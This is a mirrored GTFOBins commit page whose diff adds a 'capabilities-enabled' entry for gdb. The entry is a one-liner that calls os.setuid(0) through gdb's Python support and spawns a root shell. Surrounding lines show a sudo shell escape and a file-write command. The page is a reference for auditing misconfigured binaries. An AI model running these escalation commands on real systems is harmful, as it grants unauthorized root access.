mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add capabilities to gdb
This commit is contained in:
parent
7314987800
commit
aed737131c
@ -12,4 +12,7 @@ functions:
|
|||||||
gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit
|
gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: sudo gdb -nx -ex '!sh' -ex quit
|
- code: sudo gdb -nx -ex '!sh' -ex quit
|
||||||
|
capabilities-enabled:
|
||||||
|
- description: Only if it has been compiled with Python support.
|
||||||
|
code: ./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user